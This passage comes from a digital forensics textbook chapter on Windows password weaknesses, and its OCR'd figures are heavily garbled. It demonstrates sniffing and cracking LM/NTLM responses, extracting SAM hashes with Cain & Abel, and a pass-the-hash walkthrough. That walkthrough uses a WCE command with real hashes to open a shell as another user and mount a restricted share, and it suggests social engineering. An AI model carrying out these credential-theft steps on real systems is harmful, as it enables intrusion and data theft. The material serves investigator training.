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In Figure 4.18, you see four failed attempts to log on to our NT server from user jdinh on
a computer named WS1. The attempts failed because jdinh does not have an account on our
server. The fields displayed in the top frame of ScoopLM are the IP address of our NT server;
the IP address of the victim’s computer; the account name and its security authority (in this case
its computer’s name); the result of the authentication attempt; the plaintext challenge sent from
the server to the client; the 24-byte LM response calculated by using the LM-hash-based, 21-byte
key to encrypt the challenge; the NTLM response calculated by using the NTLM-hash-based,
21-byte key to encrypt the challenge; and the date and time of the exchange. Note that although
we are using internal IP addresses for this demonstration, this technique works equally well
across routed networks, meaning that our victim can be located anywhere in the world. The bot-
tom pane provides similar information about the exchange.

CRACKING THE PASSWORD

Now that we have captured the data passed during the exchange, we will save the ScoopLM
capture to a file, as shown in Figure 4.19.
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Once the capture is saved, we will import it into our cracking tool—BeatLM. BeatLM is also
available from SecurityFriday.com and is the companion tool to ScoopLM. We now have the
plaintext challenge and the associated LM response for the jdinh account on the ws1 computer.
This gives us the same situation as shown in Figure 4.4 earlier in this chapter. Our challenge
now is to fill in the missing piece to determine what password was used to generate the 21-byte
key that can convert the challenge into the response. BeatLM will attempt to do this by trying
all the possible permutations of legal LanMan passwords (uppercase characters, numbers, and
special symbols) until one of them can be used to generate the appropriate LM response to the
server’s challenge. Figure 4.20 shows the BeatLM tool loaded with the results that we saved from
ScoopLM.

BeatLM - SecurityFriday.com
Fie View Run Pricity Help
: 1...14 characters long A-Z 00 I"#4%'()" =] [
09

FIGURE 4.20
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DSCESCSSDESI026 | SOEEIAGSEECTBI 149063031C SEEE7  17776C 52138EFFI39C07341063C7SL
192.168.1.181 192 168.1.17 | jdinhiw'51 DSCESCSBDEMID26  SCEFIAGSEECTEI 14M063051C: CSEBET  17776C D734 1C63C7S0
Ll | y-|

Figure 4.20 also shows you the available options for attempting to crack the jdinh account
password. The option we selected to attack the LM password uses all possible LM password
characters. The other options are to attack the NTLM response and to attempt to determine
what password was used to generate the appropriate NTLM hash to form the NTLM response.



120 |CHAPTER4 WINDOWSPASSWORD ISSUES

Since NTLM passwords are kept case sensitive and then hashed, this greatly increases the num-
ber of possible permutations that we must try. The amount of time needed to crack the password
is greatly increased as well. Since we have the LM response available, and since cracking LM
is much less time-consuming than trying to crack the NTLM response, we will choose the LM
response approach.

After running for a few hours, BeatLM cracked our LM password, as shown in Figure 4.21.
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You can see that the password was COFFEE, which is not a very secure password at all. Had
the password been a more complex combination and consisted of more characters, it would
have likely taken longer to crack. The limitations of the LanMan hashing algorithm (as previ-
ously discussed in this chapter) keep the password from being too difficult to crack. Depending
on the power of the computer on which the cracking is being done, most passwords would be
obtainable in a matter of days or weeks. This again underscores the importance of rotating your
passwords every 30 days or so and changing them substantially during each rotation.

Note that the password is in all uppercase letters. The reason for this is that an LM response
was used to generate the password, and LM considers only uppercase characters. To determine
the actual, case-sensitive password, we would have to try the various permutations of uppercase
and lowercase letters in the word coffee, because BeatLM (unlike RainbowCrack) does not do this
for us. Since we also have the NTLM response, which is based on the case-sensitive password,
and since we know that the length of the password is six characters, we can use BeatLM to crack
the NTLM password. We simply choose the NTLM: 6 Characters Long option and crack again.
Figure 4.22 shows the results of a few more hours of cracking.
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We are now armed with the IP address, machine name, username, and password for our
victim’s computer. At this point, the victim must rely on firewall rules, network address trans-
lation, or other security mechanisms to keep us from accessing his system until his password
is changed. In addition, there is little or no indication to the victim that his password has even
been compromised.

Although we demonstrated using a brute force cracking attempt, you can use other tools
to perform more targeted dictionary attacks to determine the password that corresponds to a
particular authentication exchange. You could also construct a precomputed hash attack. If our
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rogue NT server always issued the same challenge to every client that tried to authenticate to
it (instead of randomizing a new challenge for each new authenticating session), then we could
generate a table of what the response to the challenge would be for a list of possible passwords.
This would greatly expedite the password-cracking process and result in an even greater
vulnerability.

Password-sniffing attacks are particularly dangerous when done from within a victim’s net-
work. Although firewalls might protect internal hosts against attacks from outside the network,
such protections are rarely found within the core of a network. If an attacker can establish a
foothold within the network, she will be able to run sniffing programs to listen for any authen-
tication exchanges within the network. By compromising an internal host and establishing the
ability to run commands on that host through some vulnerability, the attacker can then monitor
the network for authentication exchanges from that host and use those exchanges to crack pass-
words. Although LanMan is certainly the easiest to crack, NTLM and even Kerberos exchange
are also subject to combined sniffing/cracking attacks.

One tool that is useful for an attacker in the scenario described previously is Cain & Abel,
which is available from http://www.oxid.it/cain.html. Cain & Abel has many different
capabilities, but among them is a network sniffer that is geared to look for passwords exchanged
during various types of authentication exchanges. It also has a built-in password cracker that is
capable of cracking many different types of passwords and can use rainbow tables to facilitate
rapid precomputed hash attacks. Cain & Abels’s sniffer is even able to use ARP cache-poisoning
techniques to defeat the segregation of traffic normally found within a switched network to set
up a man-in-the-middle attack and allow sniffing of traffic that the compromised host would
not normally receive.

Cain’s companion product, Abel, provides many of the capabilities and Cain provides; how-
ever, Abel can perform these functions remotely. By installing Abel on a compromised com-
puter, an attacker can use that computer to dump credentials, to examine route tables, and to
provide a remote command shell, sending the results back to a different computer for cracking.
This allows the attacker to remotely control the Abel sensor while interacting with the data from
her own workstation. Further information about Cain & Abel can be found in their online docu-
mentation at www.oxid.it.

With this type of attack, even a low-priority system within a victim network can be used to
obtain authentication information for administrator or other privileged accounts. As you can
see, there really is no such thing as a low-priority intrusion if the attacker has achieved the abil-
ity to install and run other malicious code. Investigators must thoroughly analyze compromised
machines for evidence of what type of malicious software (malware) may have been installed on
them and analyze logs to determine what actions may have been taken by that computer to fur-
ther compromise the security of the network. It is not uncommon for individuals (investigators,
incident responders, clients, and security personnel) to overlook low-priority computers. These
are the ones that are sitting is some far-off corner of the data center that everyone forgot about.
These are also the systems that are poorly patched and tend to be running only the most vulner-
able versions of software. Literally a hacker’s dream system!

Cracking Offline Passwords

So far, we have discussed cracking passwords only for systems that are running. As an investi-
gator or incident responder, you will frequently be faced with systems that are powered off or
forensic images of such computers. Fortunately, certain tools can extract the password data from
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the SAM files of these computers so that you can then feed them into a password cracker, such as
RainbowCrack.

A frequent use for such a technique is to defeat the Windows Encrypting File System (EFS).
EFS allows data to be stored on disk in an encrypted format automatically without manual
action by the user. Files with the encrypted attribute selected (as described in, “Using Cain
& Abel to Extract Windows Password Hashes,” later in this chapter) are encrypted before
being stored. When the user who created the file attempts to open it, the data is automatically
decrypted. If the data is attacked forensically when the system is powered off, the encryption
defeats attempts at analysis by rendering the data unintelligible. Early versions of EFS were
designed, by default, to allow the administrator to override the encryption as a data-recovery
agent (DRA). While current versions of EFS still have the DRA functionality, there is no default
DRA set. On systems that used the Administrator account as the DRA by default, you could
simply change the Administrator account password using any of a number of Linux-based
boot disks that allow manual manipulation of the SAM, log in as the administrator, and decrypt
the files. Since Windows XP, Microsoft has prevented this tactic by encrypting the file encryp-
tion key (FEK) with a public encryption key that is associated with the user who is encrypting
the file. By manually overwriting the password, you would render all of the encrypted files irre-
trievable, until you changed the password back to what it was to begin with.

One way to recover files encrypted with EFS is to crack the passwords of the users” accounts,
make a duplicate working copy of the target hard drive, boot the computer using the working
copy of the drive (not the original), log in as the appropriate user, and view the file. Alternatively,
the forensic image could be virtually mounted using any number of applications such as
SmartMount from ASRData, Guidance Software’s EnCase, or AccessData’s FTK Imager, and
then using VMware, the image itself can simply be booted as a virtual machine. An open source
tool called Live View (found at http://1iveview.sourceforge.net) enables the booting of flat
image file format images (such as Linux dd-style images) within the free VMware Player product,
resulting in a no-cost solution. (This process is not without its idiosyncrasies that include run-ins
with Windows antipiracy protections and other “fun” hurdles, but that’s a matter for another
book!) Other forensic software tools have ways of streamlining this process, too. For example,
both EnCase and FTK currently offer the ability to enter a user’s password in order to decrypt the
EFS content on the fly. Thus, there is no need to boot the image with VMware (unless you really,
really want to), since once you crack the user’s password, the forensic tools will do the rest. The
key to this process is cracking the user’s password, which is what we tackle next.

We previously demonstrated the use of RainbowCrack after extracting the passwords from
a live system using pwdump2. We will now demonstrate how to extract the passwords from an
image of a computer using Cain & Abel from www.oxid.1t.

Using Cain & Abel to Extract Windows Password Hashes

As an investigator, you will examine the data on a system after you have obtained a forensic
image of the system. You do this to preserve the evidentiary integrity of the system and protect
the original system from damage. To crack Windows passwords from an imaged computer, you
must accomplish three main tasks:

¢ Defeat the system key encryption.
& Extract the LM and/or NTLM hashes from the SAM file.

¢ Crack the password hashes to determine the associated passwords.



The system key, or SysKey, is an extra layer of security that Windows uses to protect the
confidentiality of the Windows passwords. This key is used to encrypt the password ciphers
(LanMan-encrypted passwords and the NTLM hashes) that are stored in the SAM file. When the
system is running, the SysKey is used to decrypt the password data in the SAM so that the OS
can access its contents. When the system is not powered on, the password data is stored in an
encrypted format. The SysKey can be stored on removable media, so that the computer will not
be accessible unless that media is inserted at boot time; however, because of the possibility of
the loss of that media, this option is rarely used. Instead, most systems use the default configu-
ration in which the SysKey is automatically generated by the computer and stored in the system
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registry hive (a more thorough explanation of registry hives will follow in Chapter 8).

1. To get started, you need to place a set of registry files on your desktop to use in this exer-
cise. You can collect these from another computer or from your local computer. Then,

FIGURE 4.23
Select the
Cracker tab.

launch the Cain application and select the Cracker tab (Figure 4.23).
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2.

FIGURE 4.24

The Add NT Hashes

from dialog box

From the Cracker tab, click the Add NT Hashes (+) button in the button bar. (If the button
is disabled, simply click in the result pane to enable the button.)

When the Add NT Hashes From dialog box appears (Figure 4.24), you can select from
three options. The first imports the hashes from the local system—the computer you are
running Cain on—in this case, your forensic computer. The second option allows you to
import the hashes from a text file. This is used if you acquired the password hashes using
tools like Cain & Abel and BKHive. The third option is the one we are going to use, and
we will import the hashes from a SAM database. Using this feature, you need to tell Cain
where you have stored the SAM file and the SYSTEM registry file for the computer whose
password hashes you want to dump.

Add NT Hashes from x|

£~ Import Hashes from local system
’V ™ Ireluds Passwnnd Histary Hashes
" Import Hashes from a text fle ———————————————

| B

~* Import Hashes from a S4M database
54 Filename
IE'\Dncuments and Seflings\AdministratorsD esktopRegis |17

Boot Key [HEX]

| - |
Cancel | Next -»

After selecting the SAM file that you have stored on the desktop, you need to tell Cain
where to find the SYSTEM registry file that stores the boot key (SysKey). Click the browse
button next to the Boot Key text box, and browse out to the SYSTEM registry file that you
have placed on your desktop. When you click Open, Cain displays the boot key in the
window, as shown in Figure 4.25.

FIGURE 4.25 zl
The SysKey Decoder Baot Key (HEX]
dialog box ’7| Ta77i5aBd3ca06EsadZ] 27 3343508

Local System Boot Key Exit |

Copy this value from the SysKey Decoder window and paste it in the Add NT Hashes
From text box labeled Boot Key. Once this process is complete, click Next (Figure 4.26),
and the usernames, as well as the LanMan and NTLM password hashes, populate in the
Cracker tab.



CRACKING OFFLINEPASSWORDS | 125

FIGURE 4.26 |
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3. Review the information in the Result pane shown in Figure 4.27.

Notice that Cain looks at the password hash for the Guest account and immediately
recognizes it as the LanMan hash of a blank password. From here you can right-click
the Result pane and select Export from the pop-up menu. Our export file type is limited
to LOphtCrack format; however, it is nothing more than a delimited text file that you
can load right into RainbowCrack or any of the available online password crackers (as
described earlier in this chapter) to crack the passwords for these accounts.

FIGURE 4.27 User Mame | LM Password | NT Password | LM Hash | WT Hash | Tvpe

Cain paSSWO\‘d x acal 9247 1DF13334EFFDESD3CAETFZFEDCES | BEADISEDO1C47EE01CZ11D6463C14101 | LM & MTLM
x achristie ACEIS66ESAS1SE6ASDAETESCHASIESES | AT4C17CECESHA4COD1OEIFSEES13C54S | LM & MTLM

CraCker tab reSlﬂtS x cmarkin FOEEZDCAS7SFICECFSFEOE3945303640 | FOBOFCIE1CTESAZOO170193FAZESSODE | LM & MTLM
x fporter CEFSYB6S1BBS47EE99CIASIEISZ31AFG | BBESCIDGECYCEI0SEDEFE7CEIZASDTES | LM & MTLM
x Euest * empty * * emply ¥ AADSE435E51404EEAADIE435E51404EE | 31D6CFEODI6AESS1ETICSODFEOCOSICO | LM & MTLM
x iabdelkhalek. B72140916946124A04EC0O0FE4ZE19913 | 161959592FE0327CS310FICE4E4EFELT | LM & MTLM
x jerackeorn SBEASSSC4BCEAE1634A7B3EDETE42063 | 194ABAZFDEOECI403EEEFEBACTCEIASS | LM & MTLM
x sellis 45A924B7EES90368735087D49CCAEDSF | FF365860121ECEDI4DCE57I09F7SE7EFD | LM & MTLM
x skaufman BOF&C428C3CIDCTFZAGTA44882ZB50C99 | DYETIZEDZ4BFFSEECOSCZEEDTE4EED3 | LM & NTLM

4. From here you would simply make a working copy of the target hard drive, boot the
system, and log on as whatever user you wish. Alternatively, you could use your foren-
sic tool of choice, provide the user’s password, and have the EFS files decrypted within
the forensic application. Another tool that you may find handy for defeating EFS is
EFSDump, available at http://technet.microsoft.com/en-us/sysinternals/. This
tool will display the names of any accounts that are able to decrypt any EFS-encrypted

files. Its syntax and usage information are available at Microsoft’s website.

One important thing to note about the previous exercise is that it doesn’t just work for inves-
tigators, incident responders, or security professionals. Anyone who has physical access to a
Windows computer can perform the same steps. Indeed, Linux boot CDs are freely available
and would allow someone with no access permissions to the Windows system to extract the
system and SAM files. Then, tools like Cain & Abel can be used to extract the password hashes,
and RainbowCrack can rapidly provide their associated passwords. The end result is that
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unmonitored, physical access to a Windows machine (such as that enjoyed by any employee
with a private office) equates to full access to the local passwords on that system.

This results in a huge security problem when malicious insiders are involved. Some compa-
nies deploy a large number of client systems with identical local administrator passwords. If
a user determines the local administrator password on his computer, and that same password
is utilized on other computers as well, that user can access any of those other systems. And if
a user’s local account password is revealed, it is very likely that the user also uses that same
password (or a simple variant of it) on other secure systems. When dealing with investigations
involving loss of password information, it is vital that the investigator thoroughly interview
users and administrators to determine where else a compromised password may be used and
how many systems can be compromised by simply entering that password when prompted.

Accessing Passwords through the Windows Password Verifier

Another source of offline passwords is the password verifier or cached domain logon infor-
mation maintained in the SECURITY registry hive (Security\CACHE\NL$1 through NL$10

or NL$25). This registry key holds at least 10 past domain logins for all versions up to

Windows 2008, which holds 25 entries. So you're probably thinking to yourself, “This is great;
we have a source of information that we can use to crack domain credentials.” You'd be right to
think that, but the road to cracking that password depends almost exclusively on the complexity
of the password that the user chose. First, the password is not a simple encryption or hash like
the LM or NTLM passwords. For Windows 2000 through Windows 2003, the stored hash (DCC1)
is calculated as follows:

DCC1 = MD4(MD4(password)+lowercase(user name))

What is stored is a hash of the user’s password, already hashed. The hash is not easy to crack
since it uses a salt based on the username. This means that that precomputed tables can’t be
used except on accounts with names such as Administrator. Microsoft stepped up the strength
of the encryption scheme starting with Windows Vista. Now, the password verifier hash (DCC2)
is essentially a hash of a hash but run through a PKCS#5 function (PBKDF2 with an HMAC-
SHAT1) more than 10,000 times!

DCC2 = PBKDF2(HMAC-SHA1, 10240, DCC1l, username)

The fact that the hash has to be repeated such a large number of times drastically increases
the amount of machine time that would be required to test each individual password in a dic-
tionary. Based on the average computer available at the time of writing, that means that a brute
force cracker would be able to test about 10 to 15 passwords per second, rather than the thou-
sands that would be required for an effective password-cracking process. This is not to say that
there aren’t password crackers out there that perform these types of attacks; in fact, John the
Ripper—one of our favorite tools—has this capability. However, given the current state of tech-
nology (by non-state actors), the complexity of this password encryption is such that only rela-
tively easy passwords are reasonably expected to be crackable by brute force. Figure 4.28 shows
a comparison of the old and new versions of the password verifier encryption algorithm.
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Extracting Password Hashes from RAM

We've spent a fair amount of time talking about how LanMan passwords and NTLM passwords
are stored and how weak LanMan passwords are. We've also discussed the fact that newer oper-
ating systems have disabled the storage of LanMan passwords and have instituted requirements
for the use of NTLMv2 authentication exchanges in order to make the capture and the malicious
use of these credentials in a given organization more difficult. We’ve been beating this drum for
good reason. As an investigator, it’s important for you to realize where the weaknesses exist for
a given operating system. Thus, when looking at pre-Vista operating systems, you can say that
stored LanMan hashes represent the weak link, and you should look for exploits that involve
LanMan. In newer operating systems, you need to look for NTLMv2 authentication exploits as
well as Kerberos vulnerabilities.

As we noted earlier in the chapter, you can access a user’s account and the resources that he
is allowed to access by dumping the password hashes and employing rainbow tables to crack
the password. Breaking LanMan is trivial; however, breaking NTLM is not, especially with a
long and complex password. But, what if an attacker can impersonate a user without knowing
his password? Since LanMan, NTLM, and NTLMv2 authentication exchanges are solely based
on the hashes of passwords, all an attacker really needs to do is determine the hash of the pass-
word and use that hash to gain access to resources using the credentials of a different user.

When an account is authenticated from a local computer, Windows stores the hash of the
credentials in RAM. This is done to allow the system to ask the user for her password only
during the initial logon but then use the hash of that password throughout the logon session
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to authenticate to various resources using Kerberos, NTLMv2, NTLM, or LanMan exchanges
without the need for the user to enter her password each time. If an attacker knows where the
memory space that stores that the password hashes is located and in what format the hashes

are stored, they can be collected from RAM. By using the hash of the password, you can often
get the same result as if you know and use the password that the user entered. It turns out that
knowing where the password hashes are stored in memory has another benefit—one that makes
breaking the user’s password that much easier.

Stealing Credentials from a Running System

To steal credentials from a running system, you need to be able to run commands on the sys-
tem with local administrative privileges. This means that you must have already exploited the
computer or otherwise have access to it (through a disgruntled employee, for example). You can
then use Windows Credential Editor (WCE, written by Hernan Ochoa) from Amplia Security
(www.ampliasecurity.com) to extract the credentials from RAM and to change, add, or delete
session credentials.

1. First, copy the WCE toolbox to your local computer. Once you have it in place, verify that
WCE is present in the folder, as shown in Figure 4.29.
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2. Inorder to dump the credentials from RAM, issue the command wce. exe. This produces
the LanMan and NTLM hashes from RAM.

Notice that both LanMan and NTLM password hashes were generated along with the
identifying information for our test account, as shown in Figure 4.30. The host computer
that we used for this demonstration is a Windows Vista machine. Remember that starting
with Windows Vista, the LanMan hash storage is disabled by default. The difference here
is that these password hashes are not being dumped from the SAM file—these password
hashes are being dumped from RAM.

3. To compare this output to the output of PWDump, let’s execute PWDump, as shown in
Figure 4.31.
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FIGURE 4.31
Running PWDump
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[cx. Administrator: G\Windows\system32\cmd.exe

C:\UserssdgoodguysDesktopsuce_vul_2>uce

an Ochoa ChernanPampliasecurity.com)
Use —-h for help.

C:nUsersndgoodguynDesktopsuce _vl_23>

WCE v1.2 (Mindows Credentials Editor> - (c> 2018.2811 Amplia Security — by Hern
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[&h. Administrator: C:\Windows\system32\cmd.exe o |EI|5|
C:~\Tools2>pudump —o passl.txt vista—domain

Confirm for yourself that the PWDump output does not include a LanMan hash

(Figure 4.32); however, the output from WCE does. Now that we have a LanMan hash,
which we know is weak, we can take this hash to any of the rainbow table programs and

crack a much easier version of the password hash than what is stored in the SAM file.

FIGURE 4.32
PWDump results

At this point, the user password might as well be stored in plain text. But we haven't
finished. In our test environment, we have a Windows 2008 R2 server acting as a domain

~ialx]
File Edit Format View Help
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Daddy Badguy 1000 NO PASSWQRDy™ s s st s s sse st st it s s s de e iy 53M73135A93AC3EF058A55A0£3FDB71: HY
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FIGURE 4.33
Access denied

FIGURE 4.34
Access granted

4.

controller and several users in the domain. The Vista machine we used for this dem-
onstration is a member of the domain. We also have a file share that our current user
(dgoodguy) does not have access to, Super Secret Squirrel. Only one user (and the
domain admins) has access to this folder, and that is user acall. If we try to access this
share using the dgoodguy account, we get denied (Figure 4.33).

MNetwork Error

Windows cannot access \\win-2k8dc\Super Secret Squirrel

Check the spelling of the name, Otherwise, there might be a problem with your network. Te
try to identify and resolve network problems, click Diagnose.

@ See details

However, if user acall is logged in, he is offered all of the files in the Super Secret
Squirrel share (Figure 4.34). So, we want to somehow get access to a local computer
where acall has logged on or have that user log on to our computer. A little social engi-
neering and this should be an easily achievable goal.

v| & ¢ Network » win-2kBdc » Super Secret Squirrel

- | "f‘ |Searrh

i ils Name Date modified Type Size
E pa——— |_| All Bank Account Mum... 8/20/20113:24 PM  XLSFile 195 KB
_ || Company Financialsxls ~ 8/21/2011 8:24 PM  XLS5File 3KB
B Pictures T keys to kingdom 8/20/20113:24PM  Application 49 KB
B Music || Nobody Better See This ~ 8/21/2011 8:24 PM Text Document 4KB
(5 Recently Changed | secret filel 8/21/2011 845PM  Text Document 1KB
E Searches | secretfile 2 8/20/2011 3:24 PM  Text Document 2KB
)l Public | secret file 3 8/20/2011 3:24 PM  Text Document TKB
[T secret file 4 8/20/2011 3:24 PM Application 195 KB
(=] Sweet Stuff 2/18/2007 7:00 AM  JPEG Image 1KB
Folders ~

9 items Offline status: Online
, Offline availability: Mot available

Once user acall has logged on to our computer, we dump the hashes from RAM again,
using the wce.exe command. Notice now that our username (dgoodguy) is in the list in
addition to our target user (Figure 4.35). It's worth noting that the stored password hash
for a user account remains in RAM during the user’s entire interactive logon session and
persists for a short time even after the user logs off.

Now we want to impersonate our target and see if we can get access to the Super Secret
Squirrel folder. In order to do this, we are going to start a new session using the acall
password hashes.
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FIGURE 4.35
Hashes dumped icrosoft Windows [Uersion 6.0.68621
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98D
sUserssdgoodguysDesktop wce _vl_2>
5. To make this easy, execute the command wce > credentials.txt to send the output of
the wce.exe command to a text file. Once you have the hashes in the text file, copy the
entire credential list for the acall account. Then you need to decide what command you
want to run under this user’s account credentials. In this case, we're going to run the
cmd. exe command in order to get a shell that is running under the acall credentials. To
do this, we issue the following command:
wce-s acall:WNF:92471DF13334EFFDESD3CAB772FEDC2A:
BBAD38BD91C478801C211D6463C141D1-c cmd.exe
After the command issues successfully (Figure 4.36), you can attempt to access the file
share of interest. In order to do this, we’ll use the net use command. This will allow us
to attach to a file share, give it a letter, and then access the contents—if we have the right
credentials.
FIGURE 4.36
Successful S\UsershdgoodguysDesktopswce_vl_2>uce
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call:zWNF:92471DF13334EFFDEBD3CAB?72FEDC2A : BBAD38BD?1C478881C211D6463C141D1
;g;ﬂ—DOHHINs:HNF: :B662DBAAIIBBEYB?E23DDY?7EDABA
sUsersdgoodguysDesktopswuce_vl_2>uce —s acall NNF 92471 DF13334EFFDESD3CABY72F
DGZR EERDBBBD?iC47BBBlCZiiD64E3614101 —c cnd.e
ICE v1.2 (Mindows Credentials Editor> - (c)> ZEIB 2811 Amplia Security — by Hern
n Ochoa C(hernanPampliasecurity.com?
ze —h for help.
hanging NTLM credentials of new logon session 8@1DB247h to:
sername: acall
omain: WNF
MHash: 22471DF13334EFFDEBD3CABY?2FEDC2A
THash: BBAD38BD?1C478881C211D6463C141D1
TLM credentials succezssfully changed?
:sUserssdgoodguysDesktopswce _vl_2%_
6. To test the credentials on the Super Secret Squirrel share, from the new command shell

window generated in step 5, we issue the following command (Figure 4.37) and then do a
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directory listing of the contents of the attached share to see that we do have access to the
previously restricted share (Figure 4.38).

net use z:\\win-2k8dc\super secret squirrel

If you are testing this at home, enter your own file share address in place of our test envi-
ronment share address.

FIGURE 4.37
Issueanet use
command and
assign a drive letter.

sxWindows~Bystem32icd ~

:aOnet use z: "“Swin—2kBdc“super secret squirrel"
he command completed successfully.

N>

FIGURE 4.38
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with a directory .
. e nodiv
1IStlrlg. Volume in drive Z has no lahel.

Uolume Serial Number is 38@3-1448
Directory
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1-16,2811

8-28,,2811 H All Bank Account Wumbers.xls
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8-28/2811 keys to kingdom.exe
8-21-2811 3,764 Mobody Better See This.txt
8.-21,2811 310 secret file 1.txt
8 ,20,,2011 secret file 2. txt
8,20-2011 6,885 secret file 3.txt
8.-28-2011 secret File 4.exe
2182807 18 Sweet Stuff.jpg

9 File(s> 465,267 hytes

2 Dirdsd 7.231,.36%,216 hytes free

From this point, we now have access to whatever shares and resources the acall account
had—and we still don’t know his password. Consider the implications of this exploit. All that
would be needed would be for a domain admin to log in to a compromised computer, and her
password hashes could be stolen and her passwords cracked. Once the domain admin account
has been compromised, every computer in the domain would be vulnerable.

This attack allows the attacker to get the LanMan hash of an authenticated user, even when
the LanMan hash isn’t stored on the local computer’s hard drive. This makes the cracking of
passwords that are 14 characters or less trivial. It also allows the attacker to impersonate the
user and authenticate to other sessions.
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NOTE

To read more about the capabilities of the WCE application, visit www.ampliasecurity.com
and read Hernan Ochoa’s research.

@ Real World Scenario

PASSWORD PING-PONG

We often see attacks that leverage the theft of local administrator credentials followed by the theft
of domain admin credentials using a very simple process that we are going to talk about next. The
essential context of it, though, is that by using a local admin account (or an account with admin
privileges), attackers can lie in wait for a higher privileged user to log in to the local computer and
steal his domain password hash.

One intrusion that we worked on started out with the client doing their own incident response.
They had determined that a local admin account had been compromised on one of their servers
and had gone through the process of changing more than 2,000 passwords on any computer that
used the same local admin account (all servers). They determined very quickly, however, that the
breach had not resolved itself, and within short order they noticed that the local admin account
had been compromised again. Once again, they changed local admin passwords but to no avail.

After we were brought in to do the analysis, we noted that not only was the local administrator
account compromised, but the attacker also had compromised the domain administrator account. It
turns out that after the attacker had compromised the local computer, a domain admin had logged
inusing RDP to investigate some performance issues on the computer. Shortly following that login,
the attacker had stolen the password hash and was able to authenticate across the domain with her
new identity. It didn’t take long until the client figured out their domain admin account had been
compromised and a password change was invoked. But the intrusion didn’t stop there.

Even having the access of the domain admin, the attacker wanted to make sure that she had access
to the local admin account in case the victim ever changed the domain admin passwords, so every
time a password to the local admin account was changed, she would steal the password hashes from
the SAMfile. Since the source server was 2003, LanMan hashes were enabled, and thus it likely took
less than 30 minutes to break the relatively complex password. This provided her with almost con-
stant access to either the domain admin or the local admin account. Every time a password change
was mandated for the domain account or the local admin account, the attacker bounced back and
forth between using the domain admin and the local admin to obtain the other credentials. The
problem was not fully mitigated until password changes were effected on both the domain and
local Administrator accounts.
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Allow us to offer you one additional note of caution. When a device is reported as compromised,
often the first step is to remotely access the device, if only to look around and see what can be found
or, perhaps, to restart a malfunctioning service. The problem, however, as we’ve shown in this
chapter, is that credential stealing is a very easy process. As you’ve just seen, there are many ways
to either obtain a user’s password or impersonate a privileged user using features that are built
into Windows for convenience. In almost all cases, the credential vulnerability is made available
by the use of interactive logons. This means that the second a user logs into a remote computer
using an interactive logon, the loss of valid credentials or the impersonation of a valid (and often
privileged user) user is a risk.

Mike Pilkington posted a series of articles about the vulnerability of passwords and credentials
during incident response on the SANS Blog and did an amazing job of highlighting the issues and
providing some real world options for mitigating the risks. All incident responders should read
these articles and make sure that their incident response protocols don’t put their organizations
at further risk by using risky procedures.

You can read Mike’s blogs here:

http://computer-forensics.sans.org/blog/2012/02/21/protecting-privileged-domain-
account-safeguarding-password-hashes

http://computer-forensics.sans.org/blog/2012/02/29/protecting-privileged-domain-
accounts-Im-hashes-the-good-the-bad-and-the-ugly

http://computer-forensics.sans.org/blog/2012/03/09/protecting-privileged-domain-
accounts-disabling-encrypted-passwords

http://computer-forensics.sans.org/blog/2012/03/21/protecting-privileged-domain-
accounts-access-tokens

The Bottom Line

Explain how Windows stores username and password information. Windows OS’s store
the username and passwords in one of two places. Local accounts are stored in the comput-
er’s SAM file, while domain accounts on Windows 2000, 2003, and 2008 domains are stored in
the Active Directory database file called ntds.dit. Passwords are stored not in plain text but
rather as an encrypted password or as a hash value. Windows uses two different techniques
to store the LanMan and NTLM password credentials. The first, oldest, and weakest is the
LanMan encryption process. This process suffers from numerous problems that make its
encryption relatively easy to crack. The second, NTLM, provides a more secure option and so
is less subject to attack (although it is still vulnerable).

Master It While performing a forensic examination of a suspect’s Windows Vista com-
puter, you encounter numerous encrypted files. Some of these are encrypted with EFS,
while others are encrypted with a third-party encryption utility. You would like to learn
what passwords the suspect uses so that you can attempt to use them to decrypt the
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various types of encrypted files. How might you extract the list of password hashes from
the suspect’s computer?

Explain the mechanisms used to authenticate a remote user to a Windows machine.
Windows authentication occurs using the LanMan challenge/response mechanism, the
NTLM (or NTLMv2) challenge/response mechanism, or Kerberos. In a Windows 2000 or
later domain, Kerberos is the default protocol used for authentication of domain accounts.
Authentication to local accounts or network accounts by IP address will still utilize NTLM
or NTLMv2. NTLM authentication normally contains the LanMan authentication response
in addition to the NTLM response for backward compatibility. The NTLMv2 process will not
send the LanMan authentication response; instead, it sends a new response called LanMan
v2. Operating systems beginning with Windows Vista disabled the storage of LanMan pass-
words, and beginning with Server 2003, the automatic sending of the LanMan response was
disabled by default.

Master It An administrator notices that a large number of clients within his network
are sending NTLM authentication requests to a particular client machine located within
the network. He is suspicious that the activity may be the result of an intrusion, but he
is uncertain as to why it may be happening. Based on the information provided in this
chapter, what is a possible reason for this behavior?

Demonstrate ways in which Windows account passwords can be compromised. Because
of legacy protocols remaining in use on Windows systems to support backward compat-
ibility, Windows passwords on older systems are particularly susceptible to cracking. From a
live system, password hashes can be extracted using tools such as pwdump2, which requires
administrator-level control of the system. From an offline system, the same goal can be
accomplished by extracting the password hashes from the registry using tools such as Cain.
Finally, sniffers can be used to sniff Windows authentication exchanges from the wire, allow-
ing cracking of their associated passwords.

Master It You have been called in to investigate a report that an employee of a company
has stolen large amounts of sensitive data and is suspected of selling that data to a rival
company. Log analysis indicates that the suspect’s workstation was used to log on to a
file server containing the compromised files, but that the user account used was one of a
senior manager, not the suspect. Describe how the attacker may have come into posses-
sion of the manager’s password and possible evidence that you may find to support your
theory.






Windows Ports and Services

A large part of conducting a network investigation is identifying items that are out of place.
Just as an investigator at the scene of a burglary might look for items that have been moved,
broken, or left behind by the burglar as potential evidence, so too must the network investigator
survey the digital crime scene, looking for items that are out of place. For the burglary investiga-
tor, these items may include windows or doors that were left open or burglary tools that were
left behind. When examining a computer that may have been involved in a crime, the concept
remains the same; instead of examining open windows, we will examine open ports, and the
tools we find left behind will be files or processes rather than crowbars or screwdrivers.

In this chapter you will learn to

¢ Explain the role of open and active ports in a network investigation
¢ Identify what a service is and explain its importance in a network investigation

¢ Explain the svchost process and its importance in a network investigation

Understanding Ports

A port is a logical attachment point for a computer communication. Ports in the network sense

are not physical devices, but rather they are simply numbers. When a computer wants to allow
other computers to communicate with it, it must have some way of keeping track of the various
communications. Ports are one mechanism used to help track the computer’s communications.

PORT VS. PORT

The term portis actually overloaded as it relates to networking, meaning that it has more than one
networking definition. The term port often describes a physical connection into which another
physical device can be inserted, such as a VGA monitor port or an Ethernet network port. These
are not the types of ports we are discussing here. Instead, we are talking about logical connection
points for network communications. These are places where a network communication can virtu-
ally attach itself to a computer to allow a communication between two systems to occur. Since
the concept follows the same logic as plugging a device into a jack in order to allow two devices
to interact, the same term has been used to describe both concepts. Try not to let the multiple
